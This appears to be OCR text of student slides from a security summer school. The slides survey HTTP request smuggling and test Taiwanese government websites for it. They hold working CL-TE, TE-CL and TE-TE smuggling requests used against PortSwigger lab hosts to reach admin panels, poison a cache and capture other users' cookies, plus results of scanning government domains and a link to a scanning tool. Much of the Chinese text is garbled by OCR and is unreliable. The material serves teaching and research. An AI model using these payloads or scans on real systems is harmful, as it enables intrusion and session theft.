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Advanced Information Security Summer School
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#define

Jsmuggling your government.sh

- Http Request Smuggling Survey and Test in the Wild
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What if one day ...
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Workflows

o IEHiT A THIsubdomain

o {HEFARIAEEER000 404 errorfJdomain
o IEHIHESTAIlist!

o FEHRR

o HHME. 2T
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HTTP Request Smuggling

Front-end Back-end
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httos://vu-iack.aithub.io/2019/09/30/httb-smuaalina/


https://yu-jack.github.io/2019/09/30/http-smuggling/

HTTP Request Smuggling
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1. CL-TE

Hilif:Content-Length
#¥n:Transfer-Encoding
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1. CL-TE

POST / HTTP/1.1

Host: 0af300330337clacc0051230005700df.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

Content-Length: 116

Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

Host: localhost

Content-Type: application/x-www-form-urlencoded
Content-Length: 10
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1. CL-TE

Request

Pr-etty Hex i =

POST / HTTP/1.1

Host: 0af300330337clacc0051230005700df.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 116

Transfer-Encoding: chunked

(¢}

LNV B WNH

GET /fadmin HTTP/1.1

10 Host: localhost

11 Content-Type: application/x-www-form-urlencoded
12 Content-Length: 10

14 x=

(NS [ search

| 0 matrhes

Response

Pretty Raw Hex

Academy <]

Web Security

[X\

|

Exploiting HTTP -7 Not solved
request St

smuggling to
bypass front-end
security controls,

Voo | B ] o

Admin panel

My account
I
Users

carlos - Delete
wiener - Delete

. Lo

vulnerability

Back to lab description
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2. TE-CL

Bild: Transfer-Encoding
#i5:Content-Length

A A #TiE 2 A Transfer-Encoding, :&FI0E® B BiE M, MkiEE
content-length@&t & data X/, EX/NFERFT HER, BRI EEE
Request RyEa@ R, BIRIEFA




2. TE-CL
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POST / HTTP/1.1

Host: 0a6900c604919836c07bl12bb00af00f0.web-security-academy.net
Content-Length: 4

Transfer-Encoding: chunked

N -

()

71

POST /admin HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 15

=

x=1
0
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Request

Pretty Hex =

1 POST / HTTP/1.1

Host: 0a6900c604919836c07b12bbh00af00f0.web-security-academy.net
Content-Length: 4|
Transfer-Encoding: chunked

71

POST /admin HTTP/1.1

Host: 127.0.0.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Response

Pretty Raw Hex —

Q==

|

Web Security Fexpdgg'tng HTTP
Academy|+]

smuggllng to
bypass front-end

security controls,

- Not solved

=i D)

Home | [ S g
vulnerability

I

My _account Back to lab description

Admin interface only available to local users
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3. TE-TE

FHEB/RWTransfer-Encoding?R i serverA E BT TEM 2 E 24T
Content-Length, M TE-CLE,CL-TERIFF 4
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3. TE-TE

POST / HTTP/1.1

Host: 0a37002403dbe3b6c0d887ec0062002d.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

Content-length: 4

Transfer-Encoding: chunked

Transfer-encoding: cow

Sc

GPOST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0




Request

Pretty Hex =

Lo~V EsEWNH

POST / HTTP/1.1

Host: 0a37002403dbe3b6c0d887ec0062002d .web-security-academy.net
Content-Type: application/x-www-form-urlencoded

Content-length: 4

Transfer-Encoding: chunked

Transfer-encoding: cow

Sc

GPOST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Response

Raw Hex Render \n =

aukswNH+-

HTTP/1.1 403 Forbidden

Content-Type: application/json; charset=utf-8
Connection: close

Content-Length: 27

"Unrecognized method GPOST"




Impact

e Bypassing Security Filters
e Web Cache Poison

e Credentials Hijacking




Bypassing Security Filters

SRS ERIERIE S, EX:/admin

< > C @& 0a67003c0456a53bc0153ca400560063.web-security-academy.net/admin

© YouTube @ MainPage-Hack.. @ BEIASEEEH.. @& CiscoNetworking.. | Iran's Missile Attac...

"Path /admin is blocked"




Cache Poisoning

Burp Project Intruder Repeater Window Help

Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer

x 2 x 3 x

1 POST / HTTP/1.1

Host : Ca23005b04ctb221c04390a4002a007¢ .web-security -academy . net
Content-Type: application/x-www-form-urlencoded

i Content-Length: 193

Transfer-Encoding: chunked

70

3 GET /post/next?postIde3 HTTP/1.1

Host: exploit-035d00820401b215c06bS0T 901220075, . web-security-acadeny . net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1
GET /resources/)s/tracking.js HTTP/1.1

Host: 0a2300Sb04c0b221c04390a40028007¢ .web-security-academy . net
Connection: close

Logger

Extender Project options User options Lean

Target: https://0a23009b04c0b221c0439024002a0

esponse

Raw ML w =

1 HTTP/1.1 302 Found
2 Location:

https://exploit - 0a5d008e0401b215c06bS0f901220075. W
Id=4

Set-Cookle: session=Lpyp4dghvupyavHRgDnYxYsMEquy305
SameSite=None

Connection: close

Content-Length: O




Credentials Hijacking

Hijack Session

Carlos Montoya | 18 November 2020

Comment 2GET / HTTP/1.1 Host: ac8b1fa21f7d966c8042ace0002500ca.web-security-
academy.net Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent. Mozilla/5.0
(X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149
Safari/537.36 Sec-Fetch-Dest: document Accept: text/html,application/xhtmi
xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;
v=b3;q=0.9 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Accept-
Encoding: gzip, deflate, br Accept-Language: en-US Cookie: victim-
fingerprint=QrXfY1QrNGWQPZLIolFoydg7KGEXjlaz;
secret=AZmVun8clhyRo8XEOR3duglt2wBb8qcz; SESS st g SRRy (o) s\ 10N el S1EAN Y

Leave a comment

https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests



https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests

Experiment 1: $H B AT F#315
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Experiment 1: Result

1844 A HEAR LR

o HILHIEXRF(*.gov.taipei): 10/ 88
o it HEFF(*.ntpc.gov.tw): 1/165
o EHETHIAF(*.kcg.gov.tw): 0/164
o AT (*.taichung.gov.tw): 0/151

o A BT (*.tainan.gov.tw): 0/157
o BEEITHEUFF(*.tycg.gov.tw): 0/ 63
o EMETHEAF(*.klcg.gov.tw): 0/ 2
o ¥ hEF(*.hccg.gov.tw): 0/ 19

o E{LBBF(*.chcg.gov.tw): 0/ 18

o BREEBM(*.pthg.gov.tw): 0/ 36
* RRIhERE S CL-TE




Experiment 1:
Result



Experiment 2: PortSwigger Extension

o SHEINEMIBUAE 714 B TR e 4 5R & R AL

e TR :PortSwigger BurpSuite Extension: http-request-smuggler
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Demo
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http://www.youtube.com/watch?v=2N-GRHccGLo
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Our online tool & result websitelll
http://103.144.32.13:8090/
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http://103.144.32.13:8090/

Conclusion

o BB EMNERE®

o HAILTIEESZFRIRE ADV200008

O windows server X iis x asp.net
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Work Distribution

*

o ARMEREIR->%RiwmiEx

EXS)
o NN, KERE
gaadl

o Paper Surveying. PortSwigger extension

Ep & 7%

o Wi, AFHEREBIATITHE
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Our online tool & result i

http://XXX.XXX. XXX.XXX:8090/ ST AT SR list

Bfi domain
THBs .gov.tw
#x 1% Hr.sh
./I\‘7 Fﬁl Hﬂ.S AEED .govitw
enter url below , best to have http:// or https:// 2z & -govtw
script will only scan, not attack the website B Bh B .govitw

>>> IT WILL TAKE FEW MINUTES TO SCAN, WAIT FOR IT <<<

https://cv101.gov.taipei

./Smuggling yOur glvernment.sh

-AIS32022 WEBSS 40

SC4N 1T !!

A Fhttp request smuggling)& 1% BUNTAR BT TEIAEIS -
U gov.tw / .gov.taipet / edutwss - NiAIFHEEI TR O .
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http://103.144.32.13:8090/
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